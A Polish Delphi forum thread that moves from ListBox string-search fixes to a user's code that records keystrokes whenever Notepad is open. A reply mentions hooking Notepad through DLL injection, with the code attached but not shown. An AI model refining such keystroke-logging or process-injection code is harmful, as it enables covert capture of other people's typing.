niedawno zaczalem pisanie w delphi.
mam taki fragment kodu
if (Listbox1.Items=x) then ShowMessage('znaleziono') else ('nie znaleziono');
x jest stringiem,
i wyskakuje problem z typami zmiennych:
"Incompatybile types: 'String' and 'Tstrings'
jak powinien wygladac ten kod aby dzialal poprawnie?
if Listbox1.Items[indeks_itema]=x then ...
teraz jest taki blad:
statement expected, but expression of type 'String' found.
x ma przypisany ciag znakow
Wklej cały kod, bo z tego nic nie wiadomo i nie można jasno określić problemu; Po drugie posłuż się guglami i znajdź to, co oznacza ww error; Z resztą w pomocy delphi o tym możesz na pewno przeczytać;
Jeżeli typy by się zgadzały to nie ma mowy o błędzie; Musi być gdzieś indziej, ale podałeś tylko linię warunku;
Zapewne podczas debugowania wykrył byś błąd. skorzystaj więc z niego;
procedure TForm1.Button1Click(Sender: TObject);
function EnumWindowsProc(WHandle: HWND; LParM: LParam): Boolean;StdCall;Export;
var Title,ClassName:array[0..128] of char;
sTitle,sClass,Linia:STRING ;
x:string;
begin
x:=('notepad');
//Listbox1.clear;
Result:=True;
GetWindowText(wHandle, Title,128);
GetClassName(wHandle, ClassName,128);
sTitle:=Title;
sClass:=ClassName;
if IsWindowVisible(wHandle) then
begin
Linia:=sTitle+' '+sClass+' '+IntToHex(wHandle,4);
Form1.Listbox1.Items.Add(Linia);
end;
if Listbox1.Items[1]=x then ShowMessage('znaleziono') else ('nie znaleziono');
end;
begin
EnumWindows(@EnumWindowsProc,0);
end;
zamienilem if'a na dodatkowy przycisk:
procedure TForm1.Button2Click(Sender: TObject);
var
S : String;
I:Integer;
begin
S:=Edit1.Text;
For I:=0 to ListBox1.Items.Count-1 do
If Pos(S, ListBox1.Items[i])>0 then
begin
label1.Caption:='slowo istnieje' ;
ListBox2.Items.Add(ListBox1.Items[i])
end
else
label1.Caption:='slowo nie istnieje';
end;
i tu wystepuje problem ktorego nie rozumiem, bo do Edit1 wpisuje nazwe jakiegos okna i program wyswietla jego nazwe w Listbox2 ale w label1 zamist pojawic sie 'slowo istnieje' pojawia sie 'slowo nie istnieje'
W label1 będzie napis wynikający z tego czy ostatni item z listbox1 zawiera s
a no tak, nie przemyslalem tego ;)
a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??
a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??
Instrukcją break
lub exit
. Pewnie jest jeszcze pare sposobów ale te najprostsze.
ale break przerwie dzialanie funkcji i nie sprawdzi dalej czy podany wyraz sie powtarza
chce zeby znajdywal wszystkie okna z Listbox1 o podanej nazwie, a gdy tylko jakas zmienial Label1 na 'znaleziono', ale chce wyswietlac wszystkie
procedure TForm1.Button2Click(Sender: TObject);
var
S : String;
I:Integer;
begin
S:=Edit1.Text;
label1.Caption:='slowo nie istnieje';//wstępnie
For I:=0 to ListBox1.Items.Count-1 do
If Pos(S, ListBox1.Items[i])>0 then
begin
label1.Caption:='slowo istnieje';
ListBox2.Items.Add(ListBox1.Items[i]);
end;
end;
ja wlasnie kombinowalem cos w tym kierunku, zrobilem troche po swojemu ale to bedzie lepsze. dzieki za pomoc
ten kod nie zawsze dziala. powinien on pobierac wpisywane klawisze w momencie uruchomienia notatnika, czasem to dziala jest tak jak nalezy, w momencie zamknietego notatnika nie robi nic, a podczas gdy jest otwarty zapisuje je, jednakze w wiekszosci przypadkow po kompilacji program ten nie znajduje takiego okna jak notatnik i pobiera klawisze bez wzgeldu na jego obecnosc. co powinienem poprawic?? i co dodac jezeli chcialbym uwzglednic wewnetzne okno w ktrym sie wpisuje do Notatnika?
procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
var
H: HWND;
function FindWindow(lpClassName, lpWindowName: PChar): HWND; stdcall;
var
NextHandle: Hwnd;
NextTitle: array[0..260] of char;
begin
NextHandle := GetWindow(Application.Handle, GW_HWNDFIRST);
while NextHandle > 0 do
begin
GetWindowText(NextHandle, NextTitle, 255);
if Pos(UpperCase(lpClassName), UpperCase(StrPas(NextTitle))) <> 0 then
begin
Result := NextHandle;
Exit;
end
else
NextHandle := GetWindow(NextHandle, GW_HWNDNEXT);
end;
Result := 0;
end;
begin
h := FindWindow('Notatnik',nil);
if h <> 0 then
begin
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key
end
end;
co powinienem poprawic
Powinieneś użyć DEBUGGERA żeby znaleźć powód dla którego nie działa. Poszukaj w google z czym to sie je.
(Z pozdrowieniami dla Madmike)
Przeanalizuj sobie dołączony do mojego posta kod. Wprawdzie może się wydawać Tobie, że to nieco zaawansowane, ale dzięki injekcji dllki mogę podmienić funkcję obsługi okna notatnika, a w kodzie a_spy.dpr
zobaczysz jak prawidłowo ustalam okno edycyjne Notatnika. Całośc pisana w WinAPI aby było zgrabniej i zajmowało mniej. Całośc kompilowana w Delphi 7 z użyciem innych, zoptymalizowanych modułów do pobrania z: http://kolmck.net/sys/SysDcu7.zip dzięki czemu i pomimo spakowania całości exeka UPX'em, plik wynikowy jest jeszcze mniejszy. W razie pytań pisz, ale uważam że wszystko powinno być łatwe do ogarnięcia, bo starałem się pisać - w miarę moich możłiwości - przejrzyśty kod
Zarejestruj się i dołącz do największej społeczności programistów w Polsce.
Otrzymaj wsparcie, dziel się wiedzą i rozwijaj swoje umiejętności z najlepszymi.